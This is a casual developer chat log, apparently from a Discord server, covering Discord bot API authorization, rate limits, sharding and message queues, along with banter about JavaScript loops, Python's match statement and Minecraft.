split hazel
#

tim posting a gif? impossible

quartz kindle
#

i feel old

#

nobody knows about this gif

split hazel
#

you are old

warm summit
split hazel
#

I seen this gif years ago

warm summit
#

Damn speedy beat me too it

split hazel
#

back when I was still on windows xp

warm summit
#

You still use it?

split hazel
#

no?

warm summit
#

Good

#

I still have an old pc out in my barn that has windows xp lol

boreal iron
split hazel
#

I think xp and 7 are the least bloated operating systems Microsoft released

warm summit
#

I agree

boreal iron
split hazel
#

Bro tims like 40

warm summit
#

Try 32

split hazel
#

took him 30 years to scrape the whole web and become a search engine

boreal iron
warm summit
#

🤣

split hazel
#

you ask him a question you get an output

#

that output is rarely disappointing

boreal iron
#

Tim’s always giving two versions as output

warm summit
#

I asked him a question in general

boreal iron
#

The one we poor people can understand and the nasa, science fictional one

quartz kindle
#

lmao

split hazel
#

why scrape Google until you find what you're looking for among a shit ton of info you don't want or need when you have tim

boreal iron
#

Aye

#

He filtered the info already

split hazel
#

tim how does innodb index things

#

(base answer template) is it just a file which has a list of the sorted column data and a pointer to that row?

#

sorted so you can perform things like binary search

#

serious question btw

quartz kindle
#

no idea

#

never looked into mysql engines

warm summit
#

Tim

boreal iron
#

It just has 433GB of size

#

Open it in notepad and figure out yourself

warm summit
#

Wtf do u have on it porn?

boreal iron
#

Wut

#

No lol

#

Hashes

warm summit
#

Not yet I see

#

Hashes of what...

boreal iron
#

Of strings

warm summit
#

Oml

boreal iron
#

Actually it’s an hash based on an ID

warm summit
#

O

boreal iron
#

The database could be way more efficient, about 200gb but I’m too lazy to change anything

warm summit
#

Do it or you get the shank

boreal iron
#

Nah

#

That would require so much work

warm summit
#

Reeeeee

boreal iron
#

It’s a 32 bit account id wrapped in a 64 bit big int

#

In theory I can save the 32 bit id only as binary data and complete the ID after getting the account id from my database query

#

That would save an enormous amount of space

#

But yet requires to complete the ID on each request

#

Which I would need to do in multiple project in multiple program languages

#

That’s not worth the time waste

#

Just to save 600gb

#

Space ain’t that expensive

quartz kindle
#

spayce

boreal iron
#

Shhh nitro fanboy

sage bobcat
#

One message removed from a suspended account.

#

One message removed from a suspended account.

#

One message removed from a suspended account.

boreal iron
#

11 TB database?

earnest phoenix
#

11 tb 👀

boreal iron
#

Probably speaking about disk space

sage bobcat
boreal iron
#

Well yeah TB is the new KB in 2022

#

When games have 200 GB of size or more

#

But still 11 TB of data is quite a lot when speaking about non-commercial stuff

lyric mountain
#

Unless you're keeping downloaded movies/anime/"school" material

#

Remember a 4k movie easily reaches 10GB

slender thistle
#

Good thing I'm used to watching videos in 480p and 720p

lyric mountain
#

I know people who refuse to watch stuff on lower resolution, even if it take 9x longer to download and they'll be watching in their phone anyway

#

My friend was like that

tulip cradle
#

{name: value:} only for footer or author only tapasya

quartz kindle
#

for(const letter of string) {}
is slower than
for(const letter of string.split("")) {}
and ^ is slower than
string.split("").forEach(() => {})

#

thanks js

austere surge
#

how much slower

quartz kindle
#

all three of them still twice slower than a normal for loop with indexes (70-80ms)

lyric mountain
quartz kindle
lyric mountain
#

Nope, idk abt js but most langs do some heavy optimization if an array is well defined and fixed before starting a loop

quartz kindle
#

js doesnt care

errant dragon
#

anyone have the bug where the page keeps looping between step 2 and 3?

lyric mountain
#

Pages?

errant dragon
#

also i use the dead python api lol

errant dragon
lyric mountain
#

Top gg? Doesn't it use infinite scroll?

quartz kindle
#

i hate infinite scroll on most websites

errant dragon
quartz kindle
#

the add a bot application?

errant dragon
#

btw whats js look ive been meaning to switch to that for bots

errant dragon
quartz kindle
#

syntax-wise, js is much more similar to c-langs than python

quartz kindle
#

python is not really similar to anything

lyric mountain
#

Python is not even similar to its own past versions

quartz kindle
errant dragon
#

yeah

#

they changed the syntax

quartz kindle
#

python is the new php

errant dragon
#

lol

#

python 3.10 has a match statement

quartz kindle
#

nice

lyric mountain
#

Ah, I forgot how python lacks a switch statement

errant dragon
#

looks like this

x = some value
match x:
  case some value:
    code
   case some value:
    code
lyric mountain
#

What if u want a fall-through case?

errant dragon
#

i think you can add an else to the end

quartz kindle
#

does it work like the php match statement? like can it have a return value and be assigned to a variable?

errant dragon
lyric mountain
#
switch (value) {
	case 1:
	case 2:
		code;
		break;
	case 3:
		more code;
		break;
}
#

This what I mean

quartz kindle
#

the php8 match expression is amazing, i wish js had it

lyric mountain
#

One code, multiple cases

quartz kindle
#
$return_value = match ($food) {
    'apple' => 'This food is an apple',
    'bar' => 'This food is a bar',
    'cake' => 'This food is a cake',
};
errant dragon
lyric mountain
errant dragon
#

i dislike java

quartz kindle
#

yeah but java also has minecraft

#

so fuck java

#

:^)

errant dragon
lyric mountain
#

We don't talk about bedrock

quartz kindle
errant dragon
lyric mountain
#

Also there's groovy, which is java doing js cosplay

errant dragon
#

bedrock got way more mod support

#

in the last update*

#

we now have /damage and /set-velocity

#

and we are finally getting spectator

lyric mountain
#

Meanwhile java:

errant dragon
#

i cant wait for this on bedrock

#

wanna know something weird?

lyric mountain
#

Not gonna happen, c++ isn't as moddable as java

errant dragon
#

in bedrock you cant change camera height, but you can change player height

quartz kindle
#

so you attach the camera to a player?

errant dragon
#

so my hitbox can be 1 block tall while my camera is at the regular height

errant dragon
quartz kindle
#

sounds like league of legends, everything is coded as minions

errant dragon
#

brb

boreal iron
#

Tim’s still not sleeping?

quartz kindle
sage bobcat
#

One message removed from a suspended account.

quartz kindle
sage bobcat
raw nest
#

If I want to fetch https://discord.com/api/guilds/<guild_id> I get the error 401: Unauthorized. I gave the token type and acccess_token for auth. It doesn't work... what do i need to provide to authorize??

proven lantern
#

are you passing the Authorization header with Bot YOUR_BOT_TOKEN as the value?

lament rock
#

If you're using a token from oauth, you need to make sure your token is like Bearer accesstoken

raw nest
#

yeah oky thanks

bright hornet
#

is it really going to be an object after putting the first item?

#

nvm fixed

dry imp
#

you're welcome

slender thistle
#

No need to thank me

celest gate
feral aspen
#

Is this the correct way to fetch from the audit logs the reason of the ban?

.addField("**Member Reason**", await guild.fetchAuditLogs({ type: 22 }).then(audit => audit.entries.first().reason || "No Reason"), true)
tidal nymph
#

if my bot sends a lot of messages (to servers/users DM), should I implement a message queue to prevent rate-limit?

#

like rabbitMQ?

quartz kindle
#

if you have a big bot with lots of shards and you often hit the global rate limit, sure

#

if not, dont bother

split hazel
#

though you really need to hit a massive volume to get to that point

#

i have experience and a simple delay per user worked fine

warm summit
#

What is the rate limit?

quartz kindle
#

global is 50 per second

split hazel
#

and even so your client will automatically throttle if the limit is reached and it will take a lot more to get banned

warm summit
#

The bots can get banned...

earnest phoenix
#

Hmm nice

warm summit
#

v14 ALREADY!?!?!

earnest phoenix
#

but it will be out soon

warm summit
#

oh I was about to say

fluid garden
#

Please help me

#

All my commands are prefix

#

I cant just add /help command

#

And leave all my commands prefix?

#

And my bot get verify

#

?

tidal nymph
fluid garden
warm summit
#

What are you trying to say @fluid garden

tidal nymph
#

and its still alright if my bot hits "not global limit" frequently right

fluid garden
#

Discord said they will not verify bots woth no slash commands can i just add /help and leave other commands prefixes?

fluid garden
#

Sadly

quartz kindle
#

the reason is that they are introducing the message content intent

#

which is a privileged intent like members and presences

warm summit
quartz kindle
#

without it, your bot cannot read people's messages

fluid garden
#

Oh

quartz kindle
#

so it cannot read pefixes etc

fluid garden
#

Oh kk

tidal nymph
#

but in the doc it said "bots" so I assume its about having same IP

quartz kindle
#

each bot has that limit

tidal nymph
#

I see

quartz kindle
#

i dont know about any per-ip limits

tidal nymph
#

also whats about this

quartz kindle
#

if anything cloudflare would be in charge of that, not discord

quartz kindle
#

if youre using a library, chances are you're not actually hitting any limit

#

most libraries prevent you from doing that

tidal nymph
#

oh yea I believe I saw the bot waits until timeout and then continues after that

celest gate
quartz kindle
#

just that their queueing is limited per instance, so if youre using sharding, they will not be aware of each others queues

#

thats why its different for global limits

quartz kindle
tidal nymph
#

I see so I should only consider message queue if the bot is large and have to sharding

quartz kindle
#

ye

#

more like when your bot is at 100k+ guilds

celest gate
quartz kindle
#

latest version is 18

celest gate
#

ohk

tidal nymph
#

anyway I have a bot and some cron-jobs running in the source, should I separate them into 2 different services to deploy and connect them through message queue so the bot has better respond time?

quartz kindle
#

have you done any measurement/benchmarking and verified that your bot actually is noticeably slower because of it?

tidal nymph
#

its not noticeably slow but I assume each service is gonna uses less resource like RAM, CPU?

#

like less than when they are combinable ?

quartz kindle
#

not necessarily, it depends on what kind of job it is

tidal nymph
#

its a lot of async jobs

quartz kindle
#

also depends on what your programs run on

#

are you using node?

tidal nymph
#

yes im using node

quartz kindle
#

node by itself uses a minimum of 30-40mb ram just to run

#

so 2 node processes will use more ram/cpu than one

#

unless that 1 process really cannot handle running both jobs

tidal nymph
#

I see

quartz kindle
#

you will likely need to separate them when you start sharding

#

if you dont want to have duplicated jobs

tidal nymph
#

oh nvm

#

i read that wrong

quartz kindle
#

like if you have an interval running X funcion every N seconds

#

when you have 2 shards, you will have 2 intervals

tidal nymph
#

ohhhh yea

#

got it

quartz kindle
#

unless you use internal sharding, which does not create new processes

tidal nymph
#

is switching to golang any better than my current project?

#

like using golang for cron-jobs

#

and node for bot or both with golang

quartz kindle
#

use whichever you're more comfortable/fluent with

#

although typically golang is considered more performant than node

#

wont be noticeable until your bot gets big tho

tidal nymph
#

but is it gonna use more ram, cpu or just the same?

#

anyway ur amazing Tim, I swear that if I ever ask these questions somewhere they could tell me im dumb lmao